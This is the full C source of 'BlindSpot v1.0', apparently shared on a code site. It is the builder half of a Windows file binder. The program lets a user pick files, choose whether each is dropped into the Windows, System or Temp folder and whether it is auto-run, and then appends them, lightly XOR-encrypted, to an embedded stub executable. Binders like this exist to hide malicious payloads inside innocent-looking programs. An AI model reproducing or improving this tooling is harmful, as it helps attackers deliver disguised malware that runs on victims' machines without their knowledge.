|| Author: s134k || Back to sources || View project folder ||
/* BlindSpot v1.0 - Multiple file binder with a small stub. Coded by: s134k */ #pragma comment(lib, "COMCTL32") #pragma comment(lib, "SHLWAPI") #include <stdlib.h> #include <string.h> #include <windows.h> #include <commctrl.h> #include <shlwapi.h> #include "resource.h" #define WIN32_LEAN_AND_MEAN #define BUF_SIZE 256 HWND hwndList; HINSTANCE hInst; HANDLE hLoader; LONG run, windir, sysdir, tmpdir; BOOL cancel; int iIndex, iSelect; struct file_data { char name[40]; unsigned long size; int key; short path; short run; } *pfile_data; BOOL CALLBACK DialogProc(HWND, UINT, WPARAM, LPARAM); void InitList(void); BOOL CALLBACK AddDialogProc(HWND, UINT, WPARAM, LPARAM); BOOL ExtractLoader(char *); int WriteFiles(int); void RandCryptKey(char *); void EncryptRecord(char *, unsigned long, char *); int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { INITCOMMONCONTROLSEX icc; icc.dwICC = ICC_LISTVIEW_CLASSES; icc.dwSize = sizeof(INITCOMMONCONTROLSEX); InitCommonControlsEx(&icc); hInst = hInstance; return DialogBox(hInstance, MAKEINTRESOURCE(IDD_DIALOG), NULL, DialogProc); } BOOL CALLBACK DialogProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam) { LPNMHDR lpnmhdr; LPNMITEMACTIVATE lpnmitem; LVITEM lvItem; LVHITTESTINFO lvHti; HMENU hMenu; POINT pt; OPENFILENAME ofn; char szFile[MAX_PATH], szSize[15], *szDir = "", szBound[_MAX_FNAME] = "bound"; HANDLE hFile; DWORD dwSize; switch(uMsg) { case WM_INITDIALOG: SendMessage(hwndDlg, WM_SETICON, (WPARAM)1, (LPARAM)LoadIcon(hInst, MAKEINTRESOURCE(IDI_ICON))); hwndList = GetDlgItem(hwndDlg, IDC_LIST); ListView_SetExtendedListViewStyle(hwndList, LVS_EX_FULLROWSELECT | LVS_EX_HEADERDRAGDROP | LVS_EX_GRIDLINES); InitList(); return TRUE; case WM_NOTIFY: lpnmhdr = (LPNMHDR)lParam; if(lpnmhdr->hwndFrom == hwndList) { if(lpnmhdr->code == NM_RCLICK) { lpnmitem = (LPNMITEMACTIVATE)lParam; hMenu = CreatePopupMenu(); ZeroMemory(&lvHti, sizeof(LVHITTESTINFO)); lvHti.pt = lpnmitem->ptAction; iSelect = ListView_HitTest(hwndList, &lvHti); if(lvHti.flags & LVHT_ONITEM) { AppendMenu(hMenu, MF_GRAYED | MF_STRING, IDM_ADD, "Add"); AppendMenu(hMenu, MF_STRING, IDM_REMOVE, "Remove"); } else { AppendMenu(hMenu, MF_STRING, IDM_ADD, "Add"); AppendMenu(hMenu, MF_GRAYED | MF_STRING, IDM_REMOVE, "Remove"); } AppendMenu(hMenu, MF_SEPARATOR, 0, NULL); if(iIndex < 2) AppendMenu(hMenu, MF_GRAYED | MF_STRING, IDM_BIND, "Bind"); else AppendMenu(hMenu, MF_STRING, IDM_BIND, "Bind"); GetCursorPos(&pt); TrackPopupMenu(hMenu, TPM_LEFTALIGN, pt.x, pt.y, 0, hwndDlg, 0); } } DestroyMenu(hMenu); return TRUE; case WM_COMMAND: switch(LOWORD(wParam)) { case IDM_ADD: ZeroMemory(&ofn, sizeof(OPENFILENAME)); ZeroMemory(szFile, sizeof szFile); ZeroMemory(szDir, sizeof szDir); ofn.lStructSize = sizeof(OPENFILENAME); ofn.hwndOwner = hwndDlg; ofn.lpstrFilter = "All Files (*.*)\0*.*\0"; ofn.lpstrFile = szFile; ofn.nMaxFile = MAX_PATH; ofn.Flags = OFN_EXPLORER | OFN_FILEMUSTEXIST | OFN_HIDEREADONLY; if(GetOpenFileName(&ofn)) { cancel = FALSE; DialogBox(hInst, MAKEINTRESOURCE(IDD_DIALOG_ADD), hwndDlg, AddDialogProc); if(!cancel) { lvItem.mask = LVIF_TEXT; lvItem.cchTextMax = MAX_PATH; lvItem.iItem = iIndex; lvItem.iSubItem = 0; lvItem.pszText = szFile; ListView_InsertItem(hwndList, &lvItem); hFile = CreateFile(szFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE) return FALSE; dwSize = GetFileSize(hFile, NULL); CloseHandle(hFile); wsprintf(szSize, "%d KB", dwSize / 1024); lvItem.iItem = iIndex; lvItem.iSubItem = 1; lvItem.pszText = szSize; ListView_SetItem(hwndList, &lvItem); lvItem.iItem = iIndex; lvItem.iSubItem = 2; if(windir == BST_CHECKED) szDir = "Windows"; else if(sysdir == BST_CHECKED) szDir = "System"; else szDir = "Temporary"; lvItem.pszText = szDir; ListView_SetItem(hwndList, &lvItem); lvItem.iItem = iIndex; lvItem.iSubItem = 3; if(run == BST_CHECKED) lvItem.pszText = "Yes"; else lvItem.pszText = "No"; ListView_SetItem(hwndList, &lvItem); iIndex++; } } return TRUE; case IDM_REMOVE: ListView_DeleteItem(hwndList, iSelect); iIndex--; return TRUE; case IDM_BIND: ZeroMemory(&ofn, sizeof(OPENFILENAME)); ofn.lStructSize = sizeof(OPENFILENAME); ofn.hwndOwner = hwndDlg; ofn.lpstrFilter = "Application (*.exe)\0*.exe\0"; ofn.lpstrFile = szBound; ofn.lpstrDefExt = "exe"; ofn.nMaxFile = MAX_PATH; ofn.Flags = OFN_EXPLORER | OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT; if(GetSaveFileName(&ofn)) { if(!ExtractLoader(szBound)) return FALSE; if(!WriteFiles(iIndex)) { MessageBox(hwndDlg, "Error writing files.", NULL, MB_OK); CloseHandle(hLoader); return FALSE; } } return TRUE; } case WM_CLOSE: EndDialog(hwndDlg, 0); return TRUE; } return FALSE; } void InitList(void) { LVCOLUMN lvCol; char *szColumn[] = {"File", "Size", "Installation Directory", "Run"}; int i, width[] = {220, 55, 160, 35}; ZeroMemory(&lvCol, sizeof(LVCOLUMN)); lvCol.mask = LVCF_TEXT | LVCF_SUBITEM | LVCF_WIDTH | LVCF_FMT; lvCol.fmt = LVCFMT_LEFT; for(i = 0; i < 4; i++) { lvCol.iSubItem = i; lvCol.cx = width[i]; lvCol.pszText = szColumn[i]; ListView_InsertColumn(hwndList, i, &lvCol); } } BOOL CALLBACK AddDialogProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam) { switch(uMsg) { case WM_COMMAND: switch(LOWORD(wParam)) { case IDOK: run = SendDlgItemMessage(hwndDlg, IDC_CHECK_RUN, BM_GETCHECK, wParam, lParam); windir = SendDlgItemMessage(hwndDlg, IDC_RADIO_WINDIR, BM_GETCHECK, wParam, lParam); sysdir = SendDlgItemMessage(hwndDlg, IDC_RADIO_SYSDIR, BM_GETCHECK, wParam, lParam); tmpdir = SendDlgItemMessage(hwndDlg, IDC_RADIO_TMPDIR, BM_GETCHECK, wParam, lParam); if(windir != BST_CHECKED && sysdir != BST_CHECKED && tmpdir != BST_CHECKED) MessageBox(hwndDlg, "You have not selected an installation directory.", NULL, MB_ICONERROR | MB_OK); else EndDialog(hwndDlg, 0); return TRUE; case IDCANCEL: cancel = TRUE; EndDialog(hwndDlg, 0); return TRUE; } break; case WM_CLOSE: cancel = TRUE; EndDialog(hwndDlg, 0); return TRUE; } return FALSE; } BOOL ExtractLoader(char *szLoc) { HRSRC rc; HGLOBAL hGlobal; HMODULE hThisProc; DWORD dwSize, dwBytesWritten; unsigned char *lpszData; hThisProc = GetModuleHandle(NULL); rc = FindResource(hThisProc, MAKEINTRESOURCE(IDR_RT_EXE), "RT_EXE"); if(hGlobal = LoadResource(hThisProc, rc)) { lpszData = (unsigned char *)LockResource(hGlobal); dwSize = SizeofResource(hThisProc, rc); hLoader = CreateFile(szLoc, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(hLoader == INVALID_HANDLE_VALUE) return FALSE; else WriteFile(hLoader, lpszData, dwSize, &dwBytesWritten, NULL); } if(dwBytesWritten != dwSize) { MessageBox(NULL, "Error writing stub file.", NULL, MB_ICONERROR | MB_OK); return FALSE; } else return TRUE; } int WriteFiles(int nFileNum) { int i; HANDLE hFile; DWORD dwStart, dwBytesWritten, dwBytesRead, dwSize; char szPath[MAX_PATH], szDir[10], szExec[4], szKey[5], buf[BUF_SIZE], done[40]; struct file_data fd; pfile_data = &fd; dwStart = GetTickCount(); srand(dwStart); for(i = 0; i < nFileNum; i++) { ZeroMemory(&fd, sizeof fd); ListView_GetItemText(hwndList, i, 0, szPath, MAX_PATH); hFile = CreateFile(szPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE) return 0; dwSize = GetFileSize(hFile, NULL); pfile_data->size = dwSize; strcpy(pfile_data->name, PathFindFileName(szPath)); ListView_GetItemText(hwndList, i, 2, szDir, sizeof szDir); if(!strcmp(szDir, "System")) pfile_data->path = 1; else if(!strcmp(szDir, "Temporary")) pfile_data->path = 2; else pfile_data->path = 3; ListView_GetItemText(hwndList, i, 3, szExec, sizeof szExec); pfile_data->run = strcmp(szExec, "Yes") == 0 ? 1 : 0; RandCryptKey(szKey); pfile_data->key = atoi(szKey); SetFilePointer(hLoader, 0, NULL, FILE_END); WriteFile(hLoader, pfile_data, sizeof fd, &dwBytesWritten, NULL); while(ReadFile(hFile, buf, BUF_SIZE, &dwBytesRead, NULL) && dwBytesRead) { EncryptRecord(buf, dwBytesRead, szKey); WriteFile(hLoader, buf, dwBytesRead, &dwBytesWritten, NULL); if(dwBytesWritten != dwBytesRead) return 0; } CloseHandle(hFile); } if(i == nFileNum) { wsprintf(done, "%d Files bound in %d second(s).", nFileNum, (GetTickCount() - dwStart) / 1000); MessageBox(NULL, done, "Finished.", MB_OK); } else return 0; CloseHandle(hLoader); return i; } void RandCryptKey(char *szIn) { int i; do i = rand(); while(i < 1000 || i > 10000); wsprintf(szIn, "%d", i); } void EncryptRecord(char *szRec, unsigned long nLen, char *szKey) { unsigned long i; char *p; p = szKey; for(i = 0; i < nLen; i++) { if(!(*p)) p = szKey; *szRec ^= *p; *szRec += *p; szRec++; p++; } }